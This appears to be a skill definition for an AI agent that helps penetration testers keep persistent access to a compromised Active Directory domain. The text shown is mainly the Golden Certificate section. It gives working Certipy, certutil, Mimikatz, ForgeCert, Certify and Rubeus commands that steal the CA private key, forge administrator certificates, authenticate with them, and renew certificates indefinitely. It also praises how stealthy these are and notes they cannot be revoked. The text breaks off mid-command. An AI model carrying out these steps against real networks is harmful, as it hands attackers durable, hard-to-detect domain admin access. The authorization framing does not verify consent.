/ad-persistence

name: ad-persistence
description: >
  Establishes persistent access in Active Directory environments after domain
  compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key
  (LSASS master password), custom SSP injection (credential logging via
  mimilib/memssp), security descriptor backdoors (WMI/WinRM/ DCOM/registry ACL
  modification), ADFS Golden SAML (DKM key extraction and forged SAML tokens),
  SID history persistence (DA SID in regular user), and certificate-based
  persistence (golden certificate, renewal, enrollment agent).
keywords:
  - AD persistence
  - domain persistence
  - DCShadow
  - skeleton key
  - custom SSP
  - mimilib
  - memssp
  - Golden SAML
  - ADFS persistence
  - security descriptor backdoor
  - DAMP
  - SID history persistence
  - golden certificate
  - maintain access
  - post-DA persistence
  - domain backdoor
tools:
  - Mimikatz
  - ADFSDump
  - ADFSpoof
  - ForgeCert
  - Certipy
  - Rubeus
  - Impacket (ticketer.py)
  - Nishang
  - bloodyAD
opsec: medium

AD Persistence

You are helping a penetration tester establish persistent access in Active Directory environments after achieving domain admin or equivalent privileges. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[ad-persistence] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

**Access required**: Domain Admin or equivalent on at least one DC. Some techniques require SYSTEM on the DC (DCShadow, skeleton key, custom SSP). ADFS Golden SAML requires ADFS service account access.

**Kerberos authentication setup**:

getTGT.py 'DOMAIN.LOCAL/admin:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/admin.ccache

**Tools**: Mimikatz, ADFSDump, ADFSpoof, ForgeCert, Certipy, Rubeus, Impacket, Nishang (Set-RemoteWMI, Set-RemotePSRemoting), bloodyAD.

Persistence Decision Tree

Select based on access level, stealth requirements, and infrastructure:

| Technique | Stealth | Survives Reboot | Requirements | Best For | |-----------|---------|----------------|--------------|----------| | Golden Certificate | Very High | Yes (years) | CA key access | Long-term undetectable access | | DCShadow | Very High | Yes | DA + SYSTEM on DC | Stealthy attribute modification | | Security descriptors | High | Yes | DA | Remote access backdoor | | SID history | High | Yes | DA | Covert privilege assignment | | ADFS Golden SAML | High | Yes | ADFS service account | Federated service access (O365) | | Certificate renewal | High | Yes | Existing cert | Extend existing cert access | | Custom SSP (registry) | Medium | Yes | DC admin | Credential harvesting | | Skeleton Key | Medium | No | SYSTEM on each DC | Quick universal password | | Custom SSP (memssp) | Medium | No | SYSTEM on DC | Temporary credential capture |

Step 1: Golden Certificate

Extract the CA private key and forge certificates for any user. The highest-value persistence — certificates cannot be revoked (CA doesn't know about forged certs) and last years.

**Prerequisite**: Access to the CA server (typically a DC or dedicated CA host).

Extract CA Key

# Certipy — backup CA cert + private key
certipy ca -k -no-pass 'DOMAIN.LOCAL/admin@ca.domain.local' -backup -ca 'DOMAIN-CA'

# certutil (from CA server)
certutil -backupKey -f -p 'BackupPass123!' C:\Windows\Tasks\CaBackup

# Mimikatz (from CA server)
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Forge Certificate

# Certipy — forge cert for any user
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_forged.pfx

# With SID embedding (KB5014754 compliance for 2025+ enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
  -sid S-1-5-21-DOMAIN_SID-500 -out admin_forged_sid.pfx

# ForgeCert (.NET)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword BackupPass123! \
  --Subject "CN=Admin" --SubjectAltName administrator@domain.local \
  --NewCertPath admin_forged.pfx --NewCertPassword CertPass!

# Certify with SID
Certify.exe forge --ca-pfx ca.pfx --ca-pass BackupPass123! \
  --upn administrator@domain.local --sid S-1-5-21-DOMAIN_SID-500 \
  --outfile admin_forged.pfx

Authenticate with Forged Certificate

# Certipy PKINIT
certipy auth -pfx admin_forged.pfx -dc-ip DC_IP
# Returns NT hash via UnPAC-the-Hash

# Rubeus
Rubeus.exe asktgt /user:Administrator /certificate:admin_forged.pfx /password:CertPass! /ptt

**Validity**: Until the CA certificate expires (typically 5-20 years). Cannot be revoked. Survives password resets.

Certificate Renewal Persistence

If you already have a valid user certificate:

# Renew indefinitely (extends validity)
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
  -pfx existing_cert.pfx -renew -out renewed.pfx

# With SID for enforcement mode compliance
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
  -pfx existing_cert.pfx -renew -sid S-1-5-21-DOMAIN_SID-500 -out renewed